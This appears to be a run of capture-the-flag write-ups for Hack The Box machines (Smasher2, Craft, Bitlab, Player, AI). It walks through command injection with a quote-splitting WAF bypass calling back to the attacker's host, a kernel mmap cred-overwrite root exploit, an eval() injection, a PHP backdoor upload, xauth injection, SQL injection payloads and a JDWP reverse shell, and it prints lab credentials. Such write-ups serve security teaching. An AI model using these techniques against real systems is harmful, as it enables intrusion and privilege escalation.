The only result that wasn’t 403 was /backup so I checked that and found 2 files: Note: Months ago when I solved this box for the first time /backup was protected by basic http authentication, that wasn’t the case when I revisited the box for the write-up even after resetting it. I guess it got removed, however it wasn’t an important step, it was just heavy brute force so the box is better without it. I downloaded the files to my box:
deflog_creds(ip, c): with open("creds.log", "a") as creds: creds.write("Login from {} with data {}:{}\n".format(ip, c["username"], c["password"])) creds.close()
defsafe_init_manager(id): lock.acquire() if id in Managers: del Managers[id] else: login = ["<REDACTED>", "<REDACTED>"] Managers.update({id: ses.SessionManager(login, craft_secure_token(":".join(login)))}) lock.release()
defsafe_have_manager(id): ret = False lock.acquire() ret = id in Managers lock.release() return ret
@app.before_request defbefore_request(): if request.path == "/": ifnot session.has_key("id"): k = get_secure_key() safe_init_manager(k) session["id"] = k elif session.has_key("id") andnot safe_have_manager(session["id"]): del session["id"] return redirect("/", 302) else: if session.has_key("id") and safe_have_manager(session["id"]): pass else: return redirect("/", 302)
@app.route("/api/<key>/job", methods=['POST']) defjob(key): ret = {"success": None, "result": None} manager = safe_get_manager(session["id"]) if manager.secret_key == key: data = request.get_json(silent=True) if data and type(data) == dict: if"schedule"in data: out = subprocess.check_output(['bash', '-c', data["schedule"]]) ret["success"] = True ret["result"] = out else: ret["success"] = False ret["result"] = "Missing schedule parameter." else: ret["success"] = False ret["result"] = "Invalid value provided." else: ret["success"] = False ret["result"] = "Invalid token." return jsonify(ret)
app.run(host='127.0.0.1', port=5000)
I read the code and these are the things that interest us: After successful authentication the server will respond with a secret key that we can use to access the endpoint /api/<key>/job:
I opened it in ghidra and started checking the functions. Two functions caught my attention, get_internal_pwd() and get_internal_usr(): I looked at the decompiled code of both of them and noticed something strange, they were the exact same: get_internal_pwd():
So in theory, since the two function are identical, providing the username as a password should work. Which means that it’s just a matter of finding an existing username and we’ll be able to bypass the authentication. I tried some common usernames before attempting to use wfuzz, Administrator worked:
WAF Bypass –> RCE –> Shell as dzonerzy –> Root Flag
I wrote a small script to execute commands through /api/<key>/job as we saw earlier in auth.py, the script was meant for testing purposes:
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#!/usr/bin/python3 from requests import post
cookies = {"session":"eyJpZCI6eyIgYiI6Ik16UXpNakpoTVRVeVlqaGlNekJsWVdSbU9HTXlPV1kzTmprMk1XSTROV00xWkdVME5HTmxNQT09In19.XfNxUQ.MznJKgs2isklCZxfV4G0IjEPcvg"}
However when I tried other commands I got a 403 response indicating that the server was protected by a WAF:
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cmd: curl http://10.10.xx.xx <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job on this server.<br /> </p>
<address>Apache/2.4.29 (Ubuntu) Server at wonderfulsessionmanager.smasher2.htb Port 80</address> </body></html>
cmd:
I could easily bypass it by inserting single quotes in the command:
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cmd: 'w'g'e't 'h't't'p':'/'/'1'0'.'1'0'.'x'x'.'x'x'/'t'e's't' <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <title>500 Internal Server Error</title> <h1>Internal Server Error</h1> <p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
cmd:
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Serving HTTP on 0.0.0.0 port 80 ... 10.10.10.135 - - [13/Dec/2019 08:18:33] code 404, message File not found 10.10.10.135 - - [13/Dec/2019 08:18:33] "GET /test HTTP/1.1" 404 -
To automate the exploitation process I wrote this small exploit:
I hosted it on a python server and I started a netcat listener on port 1337 then I ran the exploit: We owned user.
dhid.ko: Enumeration
After getting a shell I copied my public ssh key to /home/dzonerzy/.ssh/authorized_keys and got ssh access. In the home directory of dzonerzy there was a README containing a message from him saying that we’ll need to think outside the box to root smasher2:
Ye you've come this far and I hope you've learned something new, smasher wasn't created with the intent to be a simple puzzle game... but instead I just wanted to pass my limited knowledge to you fellow hacker, I know it's not much but this time you'll need more than skill, you will need to think outside the box to complete smasher 2 , have fun and happy
Hacking!
free(knowledge); free(knowledge); * error for object 0xd00000000b400: pointer being freed was not allocated *
In case you don’t know what mmap is, simply mmap is a system call which is used to map memory to a file or a device. (Check this) The function dev_mmap() is a custom mmap handler. The interesting part here is the call to remap_pfn_range() function (remap kernel memory to userspace):
If we look at the function call again we can see that the 3rd and 4th arguments (physical address of the kernel memory and size of map area) are given to the function without any prior validation:
This means that we can map any size of memory we want and read/write to it, allowing us to even access the kernel memory.
dhid.ko: Exploitation –> Root Shell –> Root Flag
Luckily, this white paper had a similar scenario and explained the exploitation process very well, I recommend reading it after finishing the write-up, I will try to explain the process as good as I can but the paper will be more detailed. In summary, what’s going to happen is that we’ll map a huge amount of memory and search through it for our process’s cred structure (The cred structure holds our process credentials) then overwrite our uid and gid with 0 and execute /bin/sh. Let’s go through it step by step. First, we need to make sure that it’s really exploitable, we’ll try to map a huge amount of memory and check if it worked:
structcred { atomic_tusage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_tsubscribers;/* number of processes subscribed */ void*put_addr; unsignedmagic; #define CRED_MAGIC0x43736564 #define CRED_MAGIC_DEAD0x44656144 #endif kuid_tuid;/* real UID of the task */ kgid_tgid;/* real GID of the task */ kuid_tsuid;/* saved UID of the task */ kgid_tsgid;/* saved GID of the task */ kuid_teuid;/* effective UID of the task */ kgid_tegid;/* effective GID of the task */ kuid_tfsuid;/* UID for VFS ops */ kgid_tfsgid;/* GID for VFS ops */ unsignedsecurebits;/* SUID-less security management */ kernel_cap_tcap_inheritable; /* caps our children can inherit */ kernel_cap_tcap_permitted;/* caps we're permitted */ kernel_cap_tcap_effective;/* caps we can actually use */ kernel_cap_tcap_bset;/* capability bounding set */ kernel_cap_tcap_ambient;/* Ambient capability set */ #ifdef CONFIG_KEYS unsignedcharjit_keyring;/* default keyring to attach requested * keys to */ structkey*session_keyring;/* keyring inherited over fork */ structkey*process_keyring;/* keyring private to this process */ structkey*thread_keyring;/* keyring private to this thread */ structkey*request_key_auth;/* assumed request_key authority */ #endif #ifdef CONFIG_SECURITY void*security;/* subjective LSM security */ #endif structuser_struct *user;/* real user ID subscription */ structuser_namespace *user_ns;/* user_ns the caps and keyrings are relative to. */ structgroup_info *group_info;/* supplementary groups for euid/fsgid */ /* RCU deletion */ union { int non_rcu;/* Can we skip RCU deletion? */ structrcu_headrcu;/* RCU deletion hook */ }; }
We’ll notice that the first 8 integers (representing our uid, gid, saved uid, saved gid, effective uid, effective gid, uid and gid for the virtual file system) are known to us, which represents a reliable pattern to search for in the memory:
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kuid_tuid;/* real UID of the task */ kgid_tgid;/* real GID of the task */ kuid_tsuid;/* saved UID of the task */ kgid_tsgid;/* saved GID of the task */ kuid_teuid;/* effective UID of the task */ kgid_tegid;/* effective GID of the task */ kuid_tfsuid;/* UID for VFS ops */ kgid_tfsgid;/* GID for VFS ops */
These 8 integers are followed by a variable called securebits:
Then that variable is followed by our capabilities:
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kernel_cap_t cap_inheritable; /* caps our children can inherit */ kernel_cap_t cap_permitted; /* caps we're permitted */ kernel_cap_t cap_effective; /* caps we can actually use */ kernel_cap_t cap_bset; /* capability bounding set */ kernel_cap_t cap_ambient; /* Ambient capability set */
Since we know the first 8 integers we can search through the memory for that pattern, when we find a valid cred structure pattern we’ll overwrite each integer of the 8 with a 0 and check if our uid changed to 0, we’ll keep doing it until we overwrite the one which belongs to our process, then we’ll overwrite the capabilities with 0xffffffffffffffff and execute /bin/sh. Let’s try to implement the search for cred structures first. To do that we will get our uid with getuid():
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unsignedint uid = getuid();
Then search for 8 consecutive integers that are equal to our uid, when we find a cred structure we’ll print its pointer and keep searching:
Now we need to overwrite the cred structure that belongs to our process, we’ll keep overwriting every cred structure we find and check our uid, when we overwrite the one that belongs to our process our uid should be 0:
[email protected]:/dev/shm$ ./pwn [+] PID: 1153 [*] Open OK fd: 3 [*] mmap OK address: 42424000 [+] Searching for the process cred structure ... [*] Cred structure found ! ptr: 0xb60ad084, crednum: 20 [*] Got Root [+] Spawning a shell # whoami root # id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare),1000(dzonerzy) #
We owned root ! That’s it , Feedback is appreciated ! Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham Thanks for reading.
Hey guys, today Craft retired and here’s my write-up about it. It’s a medium rated Linux box and its ip is 10.10.10.110, I added it to /etc/hosts as craft.htb. Let’s jump right in !
Nmap
As always we will start with nmap to scan for open ports and services:
[email protected]:~/Desktop/HTB/boxes/craft# nmap -sV -sT -sC -o nmapinitial craft.htb Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-03 13:41 EST Nmap scan report for craft.htb (10.10.10.110) Host is up (0.22s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0) | ssh-hostkey: | 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA) | 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA) |_ 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519) 443/tcp open ssl/http nginx 1.15.8 |_http-server-header: nginx/1.15.8 |_http-title: About | ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US | Not valid before: 2019-02-06T02:25:47 |_Not valid after: 2020-06-20T02:25:47 |_ssl-date: TLS randomness does not represent time | tls-alpn: |_ http/1.1 | tls-nextprotoneg: |_ http/1.1 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 75.97 seconds [email protected]:~/Desktop/HTB/boxes/craft#
We got https on port 443 and ssh on port 22.
Web Enumeration
The home page was kinda empty, Only the about info and nothing else: The navigation bar had two external links, one of them was to https://api.craft.htb/api/ and the other one was to https://gogs.craft.htb:
So I added both of api.craft.htb and gogs.craft.htb to /etc/hosts then I started checking them. https://api.craft.htb/api:
Here we can see the API endpoints and how to interact with them. We’re interested in the authentication part for now, there are two endpoints, /auth/check which checks the validity of an authorization token and /auth/login which creates an authorization token provided valid credentials.
We don’t have credentials to authenticate so let’s keep enumerating. Obviously gogs.craft.htb had gogs running:
The repository of the API source code was publicly accessible so I took a look at the code and the commits.
Dinesh’s commits c414b16057 and 10e3ba4f0a had some interesting stuff. First one had some code additions to /brew/endpoints/brew.py where user’s input is being passed to eval() without filtering:
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@@ -38,9 +38,13 @@ class BrewCollection(Resource): """ Creates a new brew entry. """ - - create_brew(request.json) - returnNone, 201 + + # make sure the ABV value is sane. + if eval('%s > 1' % request.json['abv']): + return"ABV must be a decimal value less than 1.0", 400 + else: + create_brew(request.json) + returnNone, 201 @ns.route('/<int:id>') @api.response(404, 'Brew not found.')
I took a look at the API documentation again to find in which request I can send the abv parameter:
As you can see we can send a POST request to /brew and inject our payload in the parameter abv, However we still need an authorization token to be able to interact with /brew, and we don’t have any credentials. The other commit was a test script which had hardcoded credentials, exactly what we need:
Gilfoyle had a private repository called craft-infra:
He left his private ssh key in the repository:
When I tried to use the key it asked for password as it was encrypted, I tried his gogs password (ZEU3N8WNM2rh4T) and it worked: We owned user.
Vault –> One-Time SSH Password –> SSH as root –> Root Flag
In Gilfoyle’s home directory there was a file called .vault-token:
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[email protected]:~$ ls -la total 44 drwx------ 5 gilfoyle gilfoyle 4096 Jan 3 13:42 . drwxr-xr-x 3 root root 4096 Feb 9 2019 .. -rw-r--r-- 1 gilfoyle gilfoyle 634 Feb 9 2019 .bashrc drwx------ 3 gilfoyle gilfoyle 4096 Feb 9 2019 .config drwx------ 2 gilfoyle gilfoyle 4096 Jan 3 13:31 .gnupg -rw-r--r-- 1 gilfoyle gilfoyle 148 Feb 8 2019 .profile drwx------ 2 gilfoyle gilfoyle 4096 Feb 9 2019 .ssh -r-------- 1 gilfoyle gilfoyle 33 Feb 9 2019 user.txt -rw------- 1 gilfoyle gilfoyle 36 Feb 9 2019 .vault-token -rw------- 1 gilfoyle gilfoyle 5091 Jan 3 13:28 .viminfo [email protected]:~$ cat .vault-token [email protected]:~$
A quick search revealed that it’s related to vault.
Secure, store and tightly control access to tokens, passwords, certificates, encryption keys for protecting secrets and other sensitive data using a UI, CLI, or HTTP API. -vaultproject.io
By looking at vault.sh from craft-infra repository (vault/vault.sh), we’ll see that it enables the ssh secrets engine then creates an otp role for root:
[email protected]:~$ vault login Token (will be hidden): Success! You are now authenticated. The token information displayed below is already stored in the token helper. You do NOT need to run "vault login" again. Future Vault requests will automatically use this token.
Password: Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Aug 27 04:53:14 2019 [email protected]:~#
And we owned root ! That’s it , Feedback is appreciated ! Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham Thanks for reading.
Hey guys, today Bitlab retired and here’s my write-up about it. It was a nice CTF-style machine that mainly had a direct file upload and a simple reverse engineering challenge. It’s a Linux box and its ip is 10.10.10.114, I added it to /etc/hosts as bitlab.htb. Let’s jump right in !
Nmap
As always we will start with nmap to scan for open ports and services:
[email protected]:~/Desktop/HTB/boxes/bitlab# nmap -sV -sT -sC -o nmapinitial bitlab.htb Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-10 13:44 EST Nmap scan report for bitlab.htb (10.10.10.114) Host is up (0.14s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA) | 256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA) |_ 256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519) 80/tcp open http nginx | http-robots.txt: 55 disallowed entries (15 shown) | / /autocomplete/users /search /api /admin /profile | /dashboard /projects/new /groups/new /groups/*/edit /users /help |_/s/ /snippets/new /snippets/*/edit | http-title: Sign in \xC2\xB7 GitLab |_Requested resource was http://bitlab.htb/users/sign_in |_http-trane-info: Problem with XML parsing of /evox/about Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 31.56 seconds [email protected]:~/Desktop/HTB/boxes/bitlab#
We got http on port 80 and ssh on port 22, robots.txt existed on the web server and it had a lot of entries.
Web Enumeration
Gitlab was running on the web server and we need credentials: I checked /robots.txt to see if there was anything interesting:
[email protected]:~/Desktop/HTB/boxes/bitlab# curl http://bitlab.htb/robots.txt [18/43] # See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file # # To ban all spiders from the entire site uncomment the next two lines: # User-Agent: * # Disallow: / # Add a 1 second delay between successive requests to the same server, limits resources used by crawler # Only some crawlers respect this setting, e.g. Googlebot does not # Crawl-delay: 1 # Based on details in https://gitlab.com/gitlab-org/gitlab-ce/blob/master/config/routes.rb, https://gitlab.com/gitlab-org/gitlab-ce/blob/master/spec/routing, and using application User-Agent: * Disallow: /autocomplete/users Disallow: /search Disallow: /api Disallow: /admin Disallow: /profile Disallow: /dashboard Disallow: /projects/new Disallow: /groups/new Disallow: /groups/*/edit Disallow: /users Disallow: /help # Only specifically allow the Sign In page to avoid very ugly search results Allow: /users/sign_in
Most of the disallowed entries were paths related to the Gitlab application. I checked /help and found a page called bookmarks.html: There was an interesting link called Gitlab Login: Clicking on that link didn’t result in anything, so I checked the source of the page, the href attribute had some javascript code:
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<DT><AHREF="javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()"ADD_DATE="1554932142">Gitlab Login</A>
I took that code, edited it a little bit and used the js console to execute it:
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[email protected]:~/Desktop/HTB/boxes/bitlab# js > var _0x4b18=['\x76\x61\x6C\x75\x65','\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E','\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64','\x63\x6C\x61\x76\x65','\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64','\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78'];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; Thrown: ReferenceError: document is not defined >
Then I printed the variable _0x4b18 which had the credentials for Gitlab:
Back to the repositories, I checked Profile and it was pretty empty: The path /profile was one of the disallowed entries in /robots.txt, I wanted to check if that path was related to the repository, so I checked if the same image (developer.jpg) existed, and it did:
Now we can simply upload a php shell and access it through /profile, I uploaded the php-simple-backdoor:
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<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
Database Access –> Clave’s Password –> SSH as Clave –> User Flag
After getting a shell as www-data I wanted to use the credentials I got earlier from the code snippet and see what was in the database, however psql wasn’t installed:
[email protected]:/var/www/html/profile$ php -a Interactive mode enabled
php > $connection = new PDO('pgsql:host=localhost;dbname=profiles', 'profiles', 'profiles');
I executed the same query from the code snippet which queried everything from the table profiles, and I got clave’s password which I could use to get ssh access:
It looked like it was checking if the name of the user running the program was clave, then It executed PuTTY with some parameters that I couldn’t see:
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if (local_6c == L"clave") { ShellExecuteW((HWND)0x0,L"open",L"C:\\Program Files\\PuTTY\\putty.exe",lpParameters,(LPCWSTR)0x0 ,10); }
This is how the same part looked like in IDA: I copied the executable to a Windows machine and I tried to run it, however it just kept crashing. I opened it in immunity debugger to find out what was happening, and I found an access violation: It happened before reaching the function I’m interested in so I had to fix it. What I did was simply replacing the instructions that caused that access violation with NOPs. I had to set a breakpoint before the cmp instruction, so I searched for the word “clave” in the referenced text strings and I followed it in the disassembler:
Then I executed the program and whenever I hit an access violation I replaced the instructions with NOPs, it happened twice then I reached my breakpoint:
After reaching the breakpoint I could see the parameters that the program gives to putty.exe in both eax and ebx, It was starting an ssh session as root and I could see the password:
And we owned root ! That’s it , Feedback is appreciated ! Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham Thanks for reading.
Hey guys, today Player retired and here’s my write-up about it. It was a relatively hard CTF-style machine with a lot of enumeration and a couple of interesting exploits. It’s a Linux box and its ip is 10.10.10.145, I added it to /etc/hosts as player.htb. Let’s jump right in !
Nmap
As always we will start with nmap to scan for open ports and services:
[email protected]:~/Desktop/HTB/boxes/player# nmap -sV -sT -sC -o nmapinitial player.htb Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-17 16:29 EST Nmap scan report for player.htb (10.10.10.145) Host is up (0.35s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 d7:30:db:b9:a0:4c:79:94:78:38:b3:43:a2:50:55:81 (DSA) | 2048 37:2b:e4:31:ee:a6:49:0d:9f:e7:e6:01:e6:3e:0a:66 (RSA) | 256 0c:6c:05:ed:ad:f1:75:e8:02:e4:d2:27:3e:3a:19:8f (ECDSA) |_ 256 11:b8:db:f3:cc:29:08:4a:49:ce:bf:91:73:40:a2:80 (ED25519) 80/tcp open http Apache httpd 2.4.7 |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: 403 Forbidden Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 75.12 seconds [email protected]:~/Desktop/HTB/boxes/player#
We got http on port 80 and ssh on port 22.
Web Enumeration
I got a 403 response when I went to http://player.htb/: I used wfuzz with subdomains-top1mil-5000.txt from seclists to enumerate virtual hosts and got these results:
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
******************************************************** * Wfuzz 2.4 - The Web Fuzzer * ******************************************************** Target: http://10.10.10.145/ Total requests: 4997 =================================================================== ID Response Lines Word Chars Payload =================================================================== 000000019: 200 86 L 229 W 5243 Ch "dev" 000000067: 200 63 L 180 W 1470 Ch "staging" 000000070: 200 259 L 714 W 9513 Ch "chat"
I added them to my hosts file and started checking each one of them. On dev there was an application that needed credentials so we’ll skip that one until we find some credentials: staging was kinda empty but there was an interesting contact form:
The form was interesting because when I attempted to submit it I got a weird error for a second then I got redirected to /501.php:
I intercepted the request with burp to read the error. Request:
The error exposed some filenames like /var/www/backup/service_config, /var/www/staging/fix.php and /var/www/staging/contact.php. That will be helpful later. chat was a static page that simulated a chat application: I took a quick look at the chat history between Olla and Vincent, Olla asked him about some pentest reports and he replied with 2 interesting things :
Staging exposing sensitive files.
Main domain exposing source code allowing to access the product before release.
We already saw that staging was exposing files, I ran gobuster on the main domain and found /launcher:
HTTP/1.1 302 Found Date: Fri, 17 Jan 2020 22:45:04 GMT Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.26 Location: index.html Content-Length: 0 Connection: close Content-Type: text/html
We know from the chat that the source code is exposed somewhere, I wanted to read the source of /launcher/dee8dc8a47256c64630d803a4c40786c.php so I tried some basic stuff like adding .swp, .bak and ~ after the file name. ~ worked (check this out):
It decodes the JWT token from the cookie access and redirects us to a redacted path if the value of access_code was 0E76658526655756207688271159624026011393, otherwise it will assign an access cookie for us with C0B137FE2D792459F26FF763CCE44574A5B5AB03 as the value of access_code and redirect us to index.html. We have the secret [email protected][email protected]_ so we can easily craft a valid cookie. I used jwt.io to edit my token.
I used the cookie and got redirected to /7F2dcsSdZo6nj3SNMTQ1: Request:
contact.php didn’t have anything interesting and the avi for fix.php was empty for some reason. In service_config there were some credentials for a user called telegen: I tried these credentials with ssh and with dev.player.htb and they didn’t work. I ran a quick full port scan with masscan and turns out that there was another open port:
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-01-18 00:09:24 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [65535 ports/host] Discovered open port 22/tcp on 10.10.10.145 Discovered open port 80/tcp on 10.10.10.145 Discovered open port 6686/tcp on 10.10.10.145
I scanned that port with nmap but it couldn’t identify the service:
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PORT STATE SERVICE VERSION 6686/tcp open tcpwrapped
However when I connected to the port with nc the banner indicated that it was an ssh server:
root@kali:~/Desktop/HTB/boxes/player# ssh [email protected] -p 6686 The authenticity of host '[player.htb]:6686 ([10.10.10.145]:6686)' can't be established. ECDSA key fingerprint is SHA256:oAcCXvit3SHvyq7nuvWntLq+Q+mGlAg8301zhKnJmPM. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[player.htb]:6686,[10.10.10.145]:6686' (ECDSA) to the list of known hosts. [email protected]'s password: Last login: Tue Apr 30 18:40:13 2019 from 192.168.0.104 Environment: USER=telegen LOGNAME=telegen HOME=/home/telegen PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin MAIL=/var/mail/telegen SHELL=/usr/bin/lshell SSH_CLIENT=10.10.xx.xx 43270 6686 SSH_CONNECTION=10.10.xx.xx 43270 10.10.10.145 6686 SSH_TTY=/dev/pts/4 TERM=screen ========= PlayBuff ========== Welcome to Staging Environment
telegen:~$ whoami *** forbidden command: whoami telegen:~$ help clear exit help history lpath lsudo telegen:~$ lsudo Allowed sudo commands: telegen:~$ lpath Allowed: /home/telegen telegen:~$ pwd *** forbidden command: pwd telegen:~$
OpenSSH 7.2p1 xauth Command Injection –> User Flag
When I searched for exploits for that version of openssh I found this exploit.
[email protected]:~/Desktop/HTB/boxes/player# python 39569.py Usage: <host> <port> <username> <password or path_to_privkey> path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key
[email protected]:~/Desktop/HTB/boxes/player# python 39569.py player.htb 6686 telegen 'd-bC|jC!2uepS/w' INFO:__main__:connecting to: telegen:d-bC|jC!2uepS/[email protected]:6686 INFO:__main__:connected! INFO:__main__: Available commands: .info .readfile <path> .writefile <path> <data> .exit .quit <any xauth command or type help>
These credentials (peter : CQXpm\z)G5D#%S$y=) worked with dev.player.htb:
I tried to create a new project in /var/www/html: But I got an error saying that I was only allowed to create projects in /var/www/demo/home so I created a project there: When I ran gobuster on http://dev.player.htb/ there was a directory called home:
And we owned root ! That’s it , Feedback is appreciated ! Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham Thanks for reading.
Hey guys, today AI retired and here’s my write-up about it. It’s a medium rated Linux box and its ip is 10.10.10.163, I added it to /etc/hosts as ai.htb. Let’s jump right in !
Nmap
As always we will start with nmap to scan for open ports and services:
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[email protected]:~/Desktop/HTB/boxes/AI# nmap -sV -sT -sC -o nmapinitial ai.htb Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-24 17:46 EST Nmap scan report for ai.htb (10.10.10.163) Host is up (0.83s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 6d:16:f4:32:eb:46:ca:37:04:d2:a5:aa:74:ed:ab:fc (RSA) | 256 78:29:78:d9:f5:43:d1:cf:a0:03:55:b1:da:9e:51:b6 (ECDSA) |_ 256 85:2e:7d:66:30:a6:6e:30:04:82:c1:ae:ba:a4:99:bd (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Hello AI! Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 123.15 seconds [email protected]:~/Desktop/HTB/boxes/AI#
We got ssh on port 22 and http on port 80.
Web Enumeration
The index page was empty: By hovering over the logo a menu appears: The only interesting page there was /ai.php. From the description (“Drop your query using wav file.”) my first guess was that it’s a speech recognition service that processes users’ input and executes some query based on that processed input, And there’s also a possibility that this query is a SQL query but we’ll get to that later.: I also found another interesting page with gobuster:
It had some instructions on how to use their speech recognition: I used ttsmp3.com to generate audio files and I created a test file: But because the application only accepts wav files I converted the mp3 file with ffmpeg:
SQL injection –> Alexa’s Credentials –> SSH as Alexa –> User Flag
As I said earlier, we don’t know what does it mean by “query” but it can be a SQL query. When I created another audio file that says it's a test I got a SQL error because of ' in it's: The injection part was the hardest part of this box because it didn’t process the audio files correctly most of the time, and it took me a lot of time to get my payloads to work. First thing I did was to get the database name. Payload:
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one open single quote union select database open parenthesis close parenthesis comment database
The database name was alexa, next thing I did was enumerating table names, my payload was like the one shown below and I kept changing the test after from and tried possible and common things. Payload:
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one open single quote union select test from test comment database
The table users existed. Payload:
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one open single quote union select test from users comment database
From here it was easy to guess the column names, username and password. The problem with username was that it processed user and name as two different words so I couldn’t make it work. Payload:
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one open single quote union select username from users comment database
password worked just fine. Payload:
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one open single quote union select password from users comment database
Without knowing the username we can’t do anything with the password, I tried alexa which was the database name and it worked: We owned user.
JDWP –> Code Execution –> Root Shell –> Root Flag
Privilege escalation on this box was very easy, when I checked the running processes I found this one:
This was related to an Apache Tomcat server that was running on localhost, I looked at that server for about 10 minutes but it was empty and I couldn’t do anything there, it was a rabbit hole. If we check the listening ports we’ll see 8080, 8005 and 8009 which is perfectly normal because these are the ports used by tomcat, but we’ll also see 8000:
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[email protected]:~$ netstat -ntlp (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - tcp6 0 0 127.0.0.1:8080 :::* LISTEN - tcp6 0 0 :::80 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN - tcp6 0 0 127.0.0.1:8005 :::* LISTEN - tcp6 0 0 127.0.0.1:8009 :::* LISTEN - [email protected]:~$
A quick search on that port and how it’s related to tomcat revealed that it’s used for debugging, jdwp is running on that port.
The Java Debug Wire Protocol (JDWP) is the protocol used for communication between a debugger and the Java virtual machine (VM) which it debugs (hereafter called the target VM). -docs.oracle.com
By looking at the process again we can also see this parameter given to the java binary:
I searched for exploits for the jdwp service and found this exploit. I uploaded the python script on the box and I added the reverse shell payload to a file and called it pwned.sh then I ran the exploit:
